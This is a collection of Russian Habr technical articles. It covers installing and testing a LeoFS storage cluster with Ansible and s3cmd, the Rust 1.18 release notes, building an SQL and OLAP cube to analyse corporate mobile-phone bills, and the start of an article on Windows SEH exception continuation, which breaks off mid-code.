- name: Add the user 'leofs' to group 'wheel'
user:
name: leofs
groups: wheel
append: yes
```
Установка Erlang
```
- name: Remote erlang-20.3.8.23-1.el7.x86_64.rpm install with yum
yum: name=https://github.com/rabbitmq/erlang-rpm/releases/download/v20.3.8.23/erlang-20.3.8.23-1.el7.x86_64.rpm
```
Полную версию поправленых ansible playbook можно найти здесь: <https://github.com/patsevanton/leofs_ansible>
#### Установка, конфигурирование, запуск
Далее выполняем как написано в <https://github.com/leo-project/leofs_ansible> без build\_leofs.yml
```
## Install LeoFS
$ ansible-playbook -i hosts install_leofs.yml
## Config LeoFS
$ ansible-playbook -i hosts config_leofs.yml
## Start LeoFS
$ ansible-playbook -i hosts start_leofs.yml
```
#### Проверяем статус кластера на Primary LeoManager
```
leofs-adm status
```
Primary и Secondary можно увидеть в логах ansible-playbook
**Вывод будет примерно такой**
```
[System Confiuration]
-----------------------------------+----------
Item | Value
-----------------------------------+----------
Basic/Consistency level
-----------------------------------+----------
system version | 1.4.3
cluster Id | leofs_1
DC Id | dc_1
Total replicas | 2
number of successes of R | 1
number of successes of W | 1
number of successes of D | 1
number of rack-awareness replicas | 0
ring size | 2^128
-----------------------------------+----------
Multi DC replication settings
-----------------------------------+----------
[mdcr] max number of joinable DCs | 2
[mdcr] total replicas per a DC | 1
[mdcr] number of successes of R | 1
[mdcr] number of successes of W | 1
[mdcr] number of successes of D | 1
-----------------------------------+----------
Manager RING hash
-----------------------------------+----------
current ring-hash | a0314afb
previous ring-hash | a0314afb
-----------------------------------+----------
[State of Node(s)]
-------+----------------------+--------------+---------+----------------+----------------+----------------------------
type | node | state | rack id | current ring | prev ring | updated at
-------+----------------------+--------------+---------+----------------+----------------+----------------------------
S | S0@172.26.9.179 | running | | a0314afb | a0314afb | 2019-12-05 10:33:47 +0000
S | S0@172.26.9.181 | running | | a0314afb | a0314afb | 2019-12-05 10:33:47 +0000
S | S0@172.26.9.182 | running | | a0314afb | a0314afb | 2019-12-05 10:33:47 +0000
S | S0@172.26.9.183 | attached | | | | 2019-12-05 10:33:58 +0000
G | G0@172.26.9.180 | running | | a0314afb | a0314afb | 2019-12-05 10:33:49 +0000
G | G0@172.26.9.184 | running | | a0314afb | a0314afb | 2019-12-05 10:33:49 +0000
-------+----------------------+--------------+---------+----------------+----------------+----------------------------
```
#### Создаем юзера
Создаем юзера leofs:
```
leofs-adm create-user leofs leofs
access-key-id: 9c2615f32e81e6a1caf5
secret-access-key: 8aaaa35c1ad78a2cbfa1a6cd49ba8aaeb3ba39eb
```
Список юзеров:
```
leofs-adm get-users
user_id | role_id | access_key_id | created_at
------------+---------+------------------------+---------------------------
_test_leofs | 9 | 05236 | 2019-12-02 06:56:49 +0000
leofs | 1 | 9c2615f32e81e6a1caf5 | 2019-12-02 10:43:29 +0000
```
#### Создаем Bucket
Сделал bucket
```
leofs-adm add-bucket leofs 9c2615f32e81e6a1caf5
OK
```
Список bucket:
```
leofs-adm get-buckets
cluster id | bucket | owner | permissions | created at
-------------+----------+--------+------------------+---------------------------
leofs_1 | leofs | leofs | Me(full_control) | 2019-12-02 10:44:02 +0000
```
#### Конфигурирование s3cmd
В поле `HTTP Proxy server name` указываем IP сервера Gateway
```
s3cmd --configure
Enter new values or accept defaults in brackets with Enter.
Refer to user manual for detailed description of all options.
Access key and Secret key are your identifiers for Amazon S3. Leave them empty for using the env variables.
Access Key [9c2615f32e81e6a1caf5]:
Secret Key [8aaaa35c1ad78a2cbfa1a6cd49ba8aaeb3ba39eb]:
Default Region [US]:
Use "s3.amazonaws.com" for S3 Endpoint and not modify it to the target Amazon S3.
S3 Endpoint [s3.amazonaws.com]:
Use "%(bucket)s.s3.amazonaws.com" to the target Amazon S3. "%(bucket)s" and "%(location)s" vars can be used
if the target S3 system supports dns based buckets.
DNS-style bucket+hostname:port template for accessing a bucket [%(bucket)s.s3.amazonaws.com]: leofs
Encryption password is used to protect your files from reading
by unauthorized persons while in transfer to S3
Encryption password:
Path to GPG program [/usr/bin/gpg]:
When using secure HTTPS protocol all communication with Amazon S3
servers is protected from 3rd party eavesdropping. This method is
slower than plain HTTP, and can only be proxied with Python 2.7 or newer
Use HTTPS protocol [No]:
On some networks all internet access must go through a HTTP proxy.
Try setting it here if you can't connect to S3 directly
HTTP Proxy server name [172.26.9.180]:
HTTP Proxy server port [8080]:
New settings:
Access Key: 9c2615f32e81e6a1caf5
Secret Key: 8aaaa35c1ad78a2cbfa1a6cd49ba8aaeb3ba39eb
Default Region: US
S3 Endpoint: s3.amazonaws.com
DNS-style bucket+hostname:port template for accessing a bucket: leofs
Encryption password:
Path to GPG program: /usr/bin/gpg
Use HTTPS protocol: False
HTTP Proxy server name: 172.26.9.180
HTTP Proxy server port: 8080
Test access with supplied credentials? [Y/n] Y
Please wait, attempting to list all buckets...
Success. Your access key and secret key worked fine :-)
Now verifying that encryption works...
Not configured. Never mind.
Save settings? [y/N] y
Configuration saved to '/home/user/.s3cfg'
```
Если у вас появляется ошибка ERROR: S3 error: 403 (AccessDenied): Access Denied:
```
s3cmd put test.py s3://leofs/
upload: 'test.py' -> 's3://leofs/test.py' [1 of 1]
382 of 382 100% in 0s 3.40 kB/s done
ERROR: S3 error: 403 (AccessDenied): Access Denied
```
То нужно в конфиге s3cmd поправить signature\_v2 на True. Подробности в этом [issue](https://github.com/leo-project/leofs/issues/487).
Если signature\_v2 будет False, то будет вот такая ошибка:
```
WARNING: Retrying failed request: /?delimiter=%2F (getaddrinfo() argument 2 must be integer or string)
WARNING: Waiting 3 sec...
WARNING: Retrying failed request: /?delimiter=%2F (getaddrinfo() argument 2 must be integer or string)
WARNING: Waiting 6 sec...
ERROR: Test failed: Request failed for: /?delimiter=%2F
```
#### Тестирование загрузки
Создаем файл 1ГБ
```
fallocate -l 1GB 1gb
```
Загружаем его в Leofs
```
time s3cmd put 1gb s3://leofs/
real 0m19.099s
user 0m7.855s
sys 0m1.620s
```
#### Статистика
leofs-adm du для 1 ноды:
```
leofs-adm du S0@172.26.9.179
active number of objects: 156
total number of objects: 156
active size of objects: 602954495
total size of objects: 602954495
ratio of active size: 100.0%
last compaction start: ____-__-__ __:__:__
last compaction end: ____-__-__ __:__:__
```
Видим что вывод не очень информативный.
Посмотрим где расположен этот файл.
leofs-adm whereis leofs/1gb
```
leofs-adm whereis leofs/1gb
-------+----------------------+--------------------------------------+------------+--------------+----------------+----------------+----------------+----------------------------
del? | node | ring address | size | checksum | has children | total chunks | clock | when
-------+----------------------+--------------------------------------+------------+--------------+----------------+----------------+----------------+----------------------------
| S0@172.26.9.181 | 657a9f3a3db822a7f1f5050925b26270 | 976563K | a4634eea55 | true | 64 | 598f2aa976a4f | 2019-12-05 10:48:15 +0000
| S0@172.26.9.182 | 657a9f3a3db822a7f1f5050925b26270 | 976563K | a4634eea55 | true | 64 | 598f2aa976a4f | 2019-12-05 10:48:15 +0000
```
#### Активируем NFS
Активируем NFS на сервере Leo Gateway 172.26.9.184.
На сервере и клиенте установим nfs-utils
```
sudo yum install nfs-utils
```
Согласно инструкции поправим файл конфигурации `/usr/local/leofs/current/leo_gateway/etc/leo_gateway.conf`
```
protocol = nfs
```
На сервере 172.26.9.184 запустим rpcbind и leofs-gateway
```
sudo service rpcbind start
sudo service leofs-gateway restart
```
На сервере где запущен leo\_manager создадим bucket для NFS и сгенерируем ключ для подключения к NFS
```
leofs-adm add-bucket test 05236
leofs-adm gen-nfs-mnt-key test 05236 ip-адрес-nfs-клиента
```
#### Подключение к NFS
```
sudo mkdir /mnt/leofs
## for Linux - "sudo mount -t nfs -o nolock :// "
sudo mount -t nfs -o nolock ip-адрес-nfs-сервера-там-где-у-вас-установлен-gateway:/bucket/access\_key\_id/ключ-полученный-от-gen-nfs-mnt-key /mnt/leofs
sudo mount -t nfs -o nolock 172.26.9.184:/test/05236/bb5034f0c740148a346ed663ca0cf5157efb439f /mnt/leofs
```
#### Просмотр дискового простанства через NFS клиент
Дисковое простанство c учетом что каждая нода storage имеет диск 40ГБ (3 ноды running, 1 нода attached):
```
df -hP
Filesystem Size Used Avail Use% Mounted on
172.26.9.184:/test/05236/e7298032e78749149dd83a1e366afb328811c95b 60G 3.6G 57G 6% /mnt/leofs
```
#### Установка LeoFS с 6 storage нодами.
**Inventory (без builder):**
```
# Please check roles/common/vars/leofs_releases for available versions
[all:vars]
leofs_version=1.4.3
build_temp_path="/tmp/leofs_builder"
build_install_path="/tmp/"
build_branch="master"
source="package"
# nodename of leo_manager_0 and leo_manager_1 are set at group_vars/all
[leo_manager_0]
172.26.9.177
# nodename of leo_manager_0 and leo_manager_1 are set at group_vars/all
[leo_manager_1]
172.26.9.176
[leo_storage]
172.26.9.178 leofs_module_nodename=S0@172.26.9.178
172.26.9.179 leofs_module_nodename=S0@172.26.9.179
172.26.9.181 leofs_module_nodename=S0@172.26.9.181
172.26.9.182 leofs_module_nodename=S0@172.26.9.182
172.26.9.183 leofs_module_nodename=S0@172.26.9.183
172.26.9.185 leofs_module_nodename=S0@172.26.9.185
[leo_gateway]
172.26.9.180 leofs_module_nodename=G0@172.26.9.180
172.26.9.184 leofs_module_nodename=G0@172.26.9.184
[leofs_nodes:children]
leo_manager_0
leo_manager_1
leo_gateway
leo_storage
```
#### Вывод leofs-adm status
**Вывод leofs-adm status**
```
[System Confiuration]
-----------------------------------+----------
Item | Value
-----------------------------------+----------
Basic/Consistency level
-----------------------------------+----------
system version | 1.4.3
cluster Id | leofs_1
DC Id | dc_1
Total replicas | 2
number of successes of R | 1
number of successes of W | 1
number of successes of D | 1
number of rack-awareness replicas | 0
ring size | 2^128
-----------------------------------+----------
Multi DC replication settings
-----------------------------------+----------
[mdcr] max number of joinable DCs | 2
[mdcr] total replicas per a DC | 1
[mdcr] number of successes of R | 1
[mdcr] number of successes of W | 1
[mdcr] number of successes of D | 1
-----------------------------------+----------
Manager RING hash
-----------------------------------+----------
current ring-hash | d8ff465e
previous ring-hash | d8ff465e
-----------------------------------+----------
[State of Node(s)]
-------+----------------------+--------------+---------+----------------+----------------+----------------------------
type | node | state | rack id | current ring | prev ring | updated at
-------+----------------------+--------------+---------+----------------+----------------+----------------------------
S | S0@172.26.9.178 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:29 +0000
S | S0@172.26.9.179 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:29 +0000
S | S0@172.26.9.181 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:30 +0000
S | S0@172.26.9.182 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:29 +0000
S | S0@172.26.9.183 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:29 +0000
S | S0@172.26.9.185 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:29 +0000
G | G0@172.26.9.180 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:31 +0000
G | G0@172.26.9.184 | running | | d8ff465e | d8ff465e | 2019-12-06 05:18:31 +0000
-------+----------------------+--------------+---------+----------------+----------------+----------------------------
```
Дисковое простанство c учетом что каждая нода storage имеет диск 40ГБ (6 нод running):
```
df -hP
Filesystem Size Used Avail Use% Mounted on
172.26.9.184:/test/05236/e7298032e78749149dd83a1e366afb328811c95b 120G 3.6G 117G 3% /mnt/leofs
```
#### Если используется 5 нод storage
```
[leo_storage]
172.26.9.178 leofs_module_nodename=S0@172.26.9.178
172.26.9.179 leofs_module_nodename=S1@172.26.9.179
172.26.9.181 leofs_module_nodename=S2@172.26.9.181
172.26.9.182 leofs_module_nodename=S3@172.26.9.182
172.26.9.183 leofs_module_nodename=S4@172.26.9.183
```
```
df -hP
172.26.9.184:/test/05236/e7298032e78749149dd83a1e366afb328811c95b 100G 3.0G 97G 3% /mnt/leofs
```
#### Логи
Логи находятся в директориях `/usr/local/leofs/current/*/log`
#### Если вы будете устанавливать/настраивать Leofs вручную, то возможно столкнетесь со следующими ошибками.
##### [ERROR] Mnesia is not available
Запускаете сервис systemctl start leofs-manager-master
```
leofs-adm status
[ERROR] Mnesia is not available
```
Нужно стартовать systemctl start leofs-manager-slave на leo\_manager\_1
##### Не стартует leofs-storage.
Нужно чтобы были запущенными leofs-manager-master и leofs-manager-slave и leofs-adm status показывал статус.
##### Attached nodes less than # of replicas
При запуске leofs-adm start у вас появляется такая ошибка:
```
leofs-adm start
[ERROR] Attached nodes less than # of replicas
```
Не хватает Storage нод. leofs-adm status покажет вам меньше 2 Storage нод. Минимально необходимое количество Storage нод 2.
##### leofs-adm status показывает attached, остальные running.
Нужно перебалансировать ноды
```
leofs-adm rebalance
```
##### После старта leofs-gateway, вы не видите ноду Gateway в leofs-adm status
Нужно стартовать leofs-adm
```
leofs-adm start
```
##### couldn't connect to LeoFS Manager на Slave узле
(By default, leofs-adm isn't working on slave node!](<https://leo-project.net/leofs/docs/issues/documentation-issues/>)
### Нагрузочное тестирование
Тестирование проходит на 2 нодах с конфигурацией:
```
CPU: Single Core Intel Core (Broadwell) (-MCP-) speed: 2295 MHz Kernel: 3.10.0-862.3.2.el7.x86_64 x86_64 Up: 1h 08m
Mem: 1023.8/1999.6 MiB (51.2%) Storage: 10.00 GiB (43.5% used) Procs: 98 Shell: bash 4.2.46 inxi: 3.0.37
```
Для тестирования возмем небольшой диск
На обоих нодах видим диск 9.4G и 5.9G свободного простанства.
```
df -hP
Filesystem Size Used Avail Use% Mounted on
/dev/vda1 9.4G 5.9G 3.1G 66% /
```
Телеграм канал: [SDS и Кластерные FS](https://t.me/sds_ru) | https://habr.com/ru/post/478990/ | null | ru | null |
# Выпуск Rust 1.18
Команда Rust рада представить выпуск Rust 1.18.0. Rust — это системный язык программирования, нацеленный на безопасность, скорость и параллельное выполнение кода.
Если у вас установлена предыдущая версия Rust, то для обновления достаточно выполнить:
```
$ rustup update stable
```
Если у вас ещё не установлен Rust, вы можете [`установить rustup`](https://www.rust-lang.org/install.html) c соответствующей страницы нашего веб-сайта и ознакомиться с [подробным примечанием к выпуску 1.18.0](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1180-2017-06-08) на GitHub.
### Что вошло в стабильную версию 1.18.0
Как и всегда, Rust 1.18.0 собрал в себе множество улучшений и новых возможностей.
Одно из крупнейших и самых ожидаемых изменений: члены команды Carol Nichols и Steve Klabnik пишут новую редакцию "Язык программирования Rust", официальной книги о Rust. Она пишется [открыто на GitHub](https://github.com/rust-lang/book), и уже более ста человек внесли в нее свой вклад. Этот выпуск [включает первый черновой вариант второго издания в нашей онлайн документации](https://doc.rust-lang.org/stable/book/). 19 из 20 глав уже написаны, черновой вариант 20 главы будет добавлен в выпуске Rust 1.19. Когда книга будет завершена, версия для печати будет доступна через [No Starch Press](https://www.nostarch.com/Rust), если вы предпочитаете бумажную копию. Мы все еще работаем совместно с редакторами No Startch, чтобы улучшить текст, но мы бы хотели представить книгу широкой аудитории уже сейчас.
Новое издание написано полностью с нуля, используя знания, полученные нами за последние два года обучения людей Rust. Вы найдете совершенно новые объяснения множества ключевых концепций Rust, новые проекты для обучения, и много других интересных и полезных вещей. Пожалуйста, взгляните и [сообщите нам, что думаете](https://github.com/rust-lang/book/issues/new)!
Что касается самого языка, старые функции получили новые возможности: ключевое слово `pub` было немного расширено. Опытные программисты Rust знают, что в Rust все элементы приватны по умолчанию, и вы должны использовать ключевое слово `pub`, чтобы сделать их публичными. В Rust 1.18.0 `pub` [получило новую форму](https://github.com/rust-lang/rust/pull/40556):
```
pub(crate) bar;
```
Выражение внутри `()` является 'ограничением', уточняющим область видимости. Использование ключевого слова `crate` в примере выше означает, что `bar` будет публичным для всего контейнера (crate), но не вне него. Это упрощает создание API, которые "публичны для вашего контейнера", но не доступны вашим пользователям. Это было *возможно* с существующей системой модулей, но очень часто выглядело неудобно.
Вы также можете указать путь, например:
```
pub(in a::b::c) foo;
```
Это означает "`foo` публично внутри иерархии `a::b::c`, но нигде больше". Эта особенность была определена в [RFC 1422](https://github.com/rust-lang/rfcs/blob/master/text/1422-pub-restricted.md) и [описана в документации](https://doc.rust-lang.org/stable/reference/visibility-and-privacy.html#pubin-path-pubcrate-pubsuper-and-pubself).
Для пользователей Windows, Rust 1.18.0 имеет [`новый атрибут, #![windows_subsystem]`](https://github.com/rust-lang/rust/pull/40870). Это работает так:
```
#![windows_subsystem = "console"]
#![windows_subsystem = "windows"]
```
Эти выражения контролируют [`флаг /SUBSYSTEM`](https://msdn.microsoft.com/en-us/library/fcc1zstk.aspx) компоновщика. В настоящий момент, доступны только `console` и `windows`.
Когда это может быть полезным? В простейшем случае, если вы разрабатываете графическое приложение, и не указали `windows`, окно консоли будет появляться при старте вашего приложения. С этим флагом, этого не произойдет.
Наконец, кортежи, перечисления и структуры (без `#[repr]`) всегда имели неопределенное размещение в памяти. [Мы включили автоматическое переупорядочивание](https://github.com/rust-lang/rust/pull/40377), что может привести к меньшим размерам структур.
Представьте следующую структуру:
```
struct Suboptimal(u8, u16, u8);
```
В предыдущих версиях Rust на платформе x86\_64, эта структура будет занимать в памяти шесть байт. Но смотря на код, вы ожидаете только 4. Дополнительные два байта появляются из-за выравнивания: так как наибольший тип в структуре `u16`, она должна быть выравнена по два байта. Но в этом случае `u16` расположено в памяти со смещением в один байт. Чтобы разместить его со смещением в два байта, нужно добавить еще один байт выравнивания после первого `u8`. Добавив еще один байт после второго `u8`, получаем:
`1 + 1 (выравнивание) + 2 + 1 + 1 (выравнивание) = 6 байт`.
Но что, если наша структура выглядит так?
```
struct Optimal(u8, u8, u16);
```
Эта структура выровнена оптимально; `u16` лежит с выравниванием в два байта, как и вся структура в целом. Никакого выравнивания не требуется. Это дает нам `1 + 1 + 2 = 4 байт`.
Проектируя Rust, мы оставили детали размещения в памяти неопределенными именно по этой причине. Не придерживаясь определенной политики, мы можем вносить оптимизации, например, как в этом случае, когда компилятор может оптимизировать `Suboptimal` в `Optimal` автоматически. И если вы проверите размеры `Suboptimal` и `Optimal` в Rust 1.18.0, вы увидите, что они обе имеют размер 4 байта.
Мы планировали это изменение в течение длительного времени; предыдущие версии Rust включали эту оптимизацию в ночных (nightly) сборках, но некоторые люди писали небезопасный код, который требовал точных данных о размещении в памяти. Мы откатили это изменение и исправили все подобные случаи, о которых знали. Но если вы найдете какой-нибудь код, который работает неправильно, [сообщите нам](https://github.com/rust-lang/rust/issues), чтобы мы смогли его исправить!
Мы планировали перенести `rustdoc` на Markdown-совместимый парсер CommonMark в течение долгого времени. Однако, простой переход может привести к проблемам, так как спецификация CommonMark отличается от нашего текущего парсера, Hoedown. Как часть нашего плана перехода, [`новый флаг был добавлен в rustdoc`](https://github.com/rust-lang/rust/pull/40338), `--enable-commonmark`. Этот флаг включает использование нового парсера вместо старого. Пожалуйста попробуйте его! Насколько мы знаем, оба парсера производят одинаковые результаты, но мы хотим знать, если вы найдете сценарий, при котором их результаты отличаются!
Наконец, компиляция самого `rustc` теперь [на 15%-20% быстрее](https://github.com/rust-lang/rust/pull/41469). Сообщения коммитов в этом PR содержат некоторые детали; существовало множество неэффективных мест, но теперь все они исправлены.
Смотрите [подробные заметки о выпуске](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1180-2017-06-08) для подробностей.
#### Стабилизация стандартной библиотеки
Семь новых API были стабилизированы в этом выпуске:
* [`Child::try_wait`](https://doc.rust-lang.org/std/process/struct.Child.html#method.try_wait), неблокирующая версия `Child::wait`.
* [`HashMap::retain`](https://doc.rust-lang.org/std/collections/struct.HashMap.html#method.retain) и [`HashSet::retain`](https://doc.rust-lang.org/std/collections/struct.HashSet.html#method.retain) добавляют `retain` из API `Vec` для этих двух хранилищ.
* [`PeekMut::pop`](https://doc.rust-lang.org/std/collections/binary_heap/struct.PeekMut.html#method.pop) позволяет вам вытащить верхний элемент из `BinaryHeap` после того как вы уже прочитали его без необходимости упорядочивать кучу второй раз.
* [`TcpStream::peek`](https://doc.rust-lang.org/std/net/struct.TcpStream.html#method.peek), [`UdpSocket::peek`](https://doc.rust-lang.org/std/net/struct.UdpSocket.html#method.peek_from), [`UdpSocket::peek_from`](https://doc.rust-lang.org/std/net/struct.UdpSocket.html#method.peek) позволяют вам просматривать поток или сокет.
Смотрите [подробные заметки о выпуске](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1180-2017-06-08) для подробностей.
#### Функции Cargo
В Cargo [появилась поддержка](https://github.com/rust-lang/cargo/pull/3842) для Pijul VCS, написанной на Rust.
`cargo new my-awesome-project --vcs=pijul` включает ее!
В дополнение к флагу `--all`, Cargo теперь имеет [несколько новых флагов](https://github.com/rust-lang/cargo/pull/3901), например `--bins`, `--examples`, `--tests` и `--benches`, которые позволяют вам собирать все программы заданного типа.
Наконец, Cargo теперь поддерживает [Haiku](https://github.com/rust-lang/cargo/pull/3952) и [Android](https://github.com/rust-lang/cargo/pull/3885)!
Смотрите [подробные заметки о выпуске](https://github.com/rust-lang/rust/blob/master/RELEASES.md#version-1180-2017-06-08) для подробностей.
### Вклад в 1.18.0
Множество людей участвовало в создании Rust 1.18. Мы не смогли бы этого добиться без помощи каждого из вас. [Спасибо!](https://thanks.rust-lang.org/rust/1.18.0)
*От переводчика*
*Благодарю Gordon-F и [ozkriff](https://habrahabr.ru/users/ozkriff/) за помощь в переводе.* | https://habr.com/ru/post/330778/ | null | ru | null |
# Контроль расходов мобильной связи в рамках организации: реализация
Хотелось бы рассказать некоторые технические подробности создания системы контроля расходов мобильной связи, концепция которой была описана в предыдущем посте.
В качестве примера будем рассматривать счет за один из месяцев от МТС и создадим не сложный OLAP проект.
Судя по откликам, эта тема довольно актуальна, так что, кому интересно, прошу под кат.
Информацию о расходах мы берем из файла счета, а точнее из сводной его части по каждому номеру:
Из файла мы извлекаем:
* номер телефона
* ICCID — id сим карты
* период счета
* сводные данные по услугам связи с суммами
Также из «шапки» счета извлекаем:
* лицевой счет
* наименование провайдера
Мы пропустим описание парсера для извлечения всех этих данных, по причине того, что в каждом регионе и у каждого провайдера формат счетов будет различаться и универсального софта просто не может быть.
Можно обратить внимание на некоторые особенности, а именно:
* для проверки корректности парсера, необходимо встроить сравнение общей суммы по каждому номеру и сумм составляющих по видам расхода
* ICCID — единственный уникальный id для каждой сим. Со временем голосовые номера могут меняться, но ICCID остается постоянный. Наиболее правильно строить связи именно по этому параметру
* лицевой счет — если возможно, сим карты используемые в разных составляющих вашей системы «развешивать» на разные л/с(сотрудники, м2м устройства, связь для серверов и тд), так будет максимально удобно отслеживать расходы
Импортируем данные в таблицу sql в соответствии с вышеописанными составляющими.
Сырые данные данные выглядят так:
Если выбрать все уникальные значения по типу трафика, то мы получим список из нескольких сотен строк, который никак не может способствовать комфортной работе аналитика.
Ниже лишь небольшая часть полученных данных. Можно видеть например что внутри сетевой роуминг указывается для каждого города отдельно.
Необходимо привести данные по типу связи к стандартным 10-15 значениям
Сделать это можно через оператор case, проанализировав все возможные варианты одного значения, к примеру так:
```
CASE
WHEN rom.SERVICEDESCRIPTION LIKE '%роуминг%sms%' THEN 'роуминг смс'
WHEN (rom.SERVICEDESCRIPTION LIKE '%sms%' AND rom.SERVICEDESCRIPTION NOT LIKE '%роуминг%') THEN 'смс'
WHEN (((rom.SERVICEDESCRIPTION LIKE '%gprs%' OR rom.SERVICEDESCRIPTION LIKE '%мобильный интернет%') and rom.SERVICEDESCRIPTION not LIKE '%hsdpa%') AND rom.SERVICEDESCRIPTION NOT LIKE '%роуминг%') THEN 'gprs'
WHEN ((rom.SERVICEDESCRIPTION LIKE '%роуминг%gprs%' OR rom.SERVICEDESCRIPTION LIKE '%роуминг%мобильный интернет%') and rom.SERVICEDESCRIPTION not LIKE '%роуминг%hsdpa%') THEN 'роуминг gprs'
WHEN ((rom.SERVICEDESCRIPTION LIKE '%hsdpa%') AND rom.SERVICEDESCRIPTION NOT LIKE '%роуминг%') THEN 'hsdpa'
WHEN (rom.SERVICEDESCRIPTION LIKE '%роуминг%hsdpa%') THEN 'роуминг hsdpa'
WHEN ((rom.SERVICEDESCRIPTION LIKE '%исходящая связь%' OR rom.SERVICEDESCRIPTION LIKE '%исходящие%вызовы%' OR rom.SERVICEDESCRIPTION LIKE '%исх. связь%' OR rom.SERVICEDESCRIPTION LIKE '%Передача данных, факсов, WAP и Интернет%') AND rom.SERVICEDESCRIPTION NOT LIKE '%роуминг%') THEN 'исходящая связь'
WHEN (rom.SERVICEDESCRIPTION LIKE '%роуминг%исходящая связь%' OR rom.SERVICEDESCRIPTION LIKE '%роуминг%исходящие%вызовы%' OR rom.SERVICEDESCRIPTION LIKE '%роуминг%исх. связь%' OR rom.SERVICEDESCRIPTION LIKE '%за предел.Дом%') THEN 'роуминг исходящая связь'
WHEN rom.SERVICEDESCRIPTION LIKE '%роуминг%входящая связь%' THEN 'роуминг входящая связь'
WHEN ((rom.SERVICEDESCRIPTION LIKE '%входящая связь%') AND rom.SERVICEDESCRIPTION NOT LIKE '%роуминг%') THEN 'входящая связь'
WHEN rom.SERVICEDESCRIPTION LIKE '%абонентская плата%' THEN 'абонентская плата'
WHEN rom.SERVICEDESCRIPTION LIKE '%детализация%' THEN 'детализация' ELSE 'остальные' END
```
В итоге получаем стандартные значения:
Далее нам нужно преобразовать текстовые значения по количеству трафика в числовые
С помощью того же оператора case
```
CASE
WHEN rom.serviceqtydescription LIKE '0.00 Мб' THEN '0'
WHEN rom.serviceqtydescription LIKE '%.%.%' THEN '1'
WHEN rom.serviceqtydescription LIKE ' ' OR rom.serviceqtydescription LIKE '' THEN '0'
WHEN rom.serviceqtydescription LIKE '%минута' THEN CAST(replace(rom.serviceqtydescription, ' минута', '') AS numeric(20, 2))
WHEN rom.serviceqtydescription LIKE '%мин.' THEN CAST(replace(rom.serviceqtydescription, ' мин.', '') AS numeric(20, 2))
WHEN rom.serviceqtydescription LIKE '%мин. 0 сек.' THEN CAST(replace(rom.serviceqtydescription, ' мин. 0 сек.', '') AS numeric(20, 2))
WHEN rom.serviceqtydescription LIKE '%секунда' THEN CAST(replace(rom.serviceqtydescription, ' секунда', '') AS numeric(20, 2)) / 60
WHEN rom.serviceqtydescription LIKE '%килобайт' THEN CAST(replace(rom.serviceqtydescription, ' килобайт', '') AS numeric(20, 2))
WHEN rom.serviceqtydescription LIKE '%байт' THEN CAST(replace(replace(rom.serviceqtydescription, ' байт', ''),',','.') AS numeric(20, 2)) / 1024
WHEN (rom.serviceqtydescription LIKE '%.% Мб' AND rom.serviceqtydescription NOT LIKE '0.0 Мб') THEN CAST(replace(rom.serviceqtydescription, ' Мб', '') AS numeric(20, 2)) * 1024
WHEN rom.serviceqtydescription LIKE '%штука' THEN CAST(replace(rom.serviceqtydescription, ' штука', '') AS numeric(20, 2))
when rom.serviceqtydescription = 'не указано' then 0
ELSE CAST(replace(rom.serviceqtydescription, ' факт', '') AS numeric(20, 2)) END AS
```
Получаем: смс в штуках, голос в минутах, передача данных в киллобайтах
Итоговая таблица выглядит так
Теперь данные по суммам и трафику поддаются арифметическим операциям.
В таком виде данные уже вполне поддаются анализу либо из окна managment studio, либо через интерфейс Excel, подключив базу, как внешний источник данных.
Как вы поняли, мы сделали таблицу фактов для будущего OLAP Куба.
Для создания простейшего Куба, необходимо выделить измерения из таблицы фактов:
* период
* лицевой счет
* телефон
* провайдер
* тип трафика
Очень желательно вывести данные в отдельные таблицы — справочники с отдельным первичным ключом формата int и заменить значения в таблице фактов на соответствующие значения из справочников. Значения в справочниках должны быть уникальными.
Все вышеописанное не касается справочника времени, он генерируется на сервере отдельно.
###### Начинаем создание OLAP проекта
В BIDS необходимо создать новый проект интеллектуального анализа данных
Создаем новый источник данных с именем DWH
Создаем представление источника данных, куда добавляем наши таблицы
В данном примере отсутствует таблица провайдеров, но добавляется она аналогично. А также я не следовал рекомендациям с ключами по полю формата int — работать будет но при больших объемах данных повлияет на быстродействие.
Создание измерения времени описывать не буду, в сети достаточно информации по этому поводу.
Следующим этапом создаем куб, для этого запускаем мастер создания
На первом экране выбираем — использовать существующие таблицы
Далее нужно выбрать нашу таблицу измерений и следовать за мастером
После создания куба, автоматически добавятся измерения
Куб примет следующий вид:
Также, необходимо дважды кликнуть измерение времени и перетянуть в раздел атрибутов нужные нам временные составляющие:
А также, при необходимости создать иерархии
Можно приступать к развертыванию куба на сервере, для этого кликаем по проекту и запускаем обработку.
После обработки можно подключаться к кубу через Excel, делается это так:
Данные — из других источников — из служб аналитики, в мастере вводим имя сервера на который мы разворачивали куб.
Описанное решение не совершенно, специалисты в области sql, так и BI укажут на множество недостатков, но я надеюсь, что данное описание позволит людям, мало знакомым с построением систем бизнес аналитики, начать это делать. | https://habr.com/ru/post/157871/ | null | ru | null |
# Разбираемся с EXCEPTION_CONTINUE_EXECUTION
Механизм структурированной обработки исключений (Structured Exception Handling, SEH) позволяет вернуться к инструкции, сгенерировавшей исключение и попробовать выполнить ее заново. Для этого в блок **\_\_except** нужно передать значение **EXCEPTION\_CONTINUE\_EXECUTION**. Важно помнить, что возврат происходит к ассемблерной инструкции, а не инструкции высокоуровневого языка.
Рассмотрим пример 32-битного приложения, в котором происходит деление на 0:
```
DWORD a = 0, b = 1, res = 0;
__try
{
res = b / a;
printf("res = %d\n", res);
}
__except (CustomFilter(&a, GetExceptionInformation())){ }
```
Взглянем на ассемблерный код:
Исследуя код в отладчике, можно увидеть, что исключение генерируется командой **div**. В первом аргументе этой инструкции, находящемся в регистре **EAX**, находится делимое, а делитель (второй аргумент) берется из памяти (**dword ptr [a]**). Таким образом, для «исправления» исключения нужно изменить значение, хранящееся по адресу **dword ptr [a]**, т.е. в переменной **a**.
Наша функция-фильтр исключений будет принимать первым аргументом адрес региона памяти (переменной **a**), значение в котором нужно изменить. Далее функция разыменовывает указатель и помещает в заданный регион памяти ненулевое значение:
```
DWORD WINAPI CustomFilter(PVOID Arg, PEXCEPTION_POINTERS ExPtrs)
{
